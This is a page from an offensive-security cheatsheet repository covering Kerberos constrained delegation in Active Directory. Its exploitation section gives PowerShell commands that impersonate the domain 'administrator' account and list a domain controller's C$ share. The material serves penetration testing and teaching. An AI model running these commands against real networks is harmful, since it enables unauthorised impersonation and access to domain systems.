repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
kerberos-delegation-constrained.mdMarkdown88 lines3.1 KiBsource raw download

title: "Kerberos Delegation - Constrained Delegation" section: "Active Directory" sectionSlug: "active-directory" sourcePath: "docs/active-directory/kerberos-delegation-constrained.md" sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/kerberos-delegation-constrained.md" sha: "203bb0c0b290" isIndex: false#

Kerberos Delegation - Constrained Delegation#

Kerberos Constrained Delegation (KCD) is a security feature in Microsoft's Active Directory (AD) that allows a service to impersonate a user or another service in order to access resources on behalf of that user or service.

Identify a Constrained Delegation#

Exploit the Constrained Delegation#

Impersonate a domain user on a resource#

Require:

PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
PS> $idToImpersonate.Impersonate()
PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
PS> ls \\dc01.offense.local\c$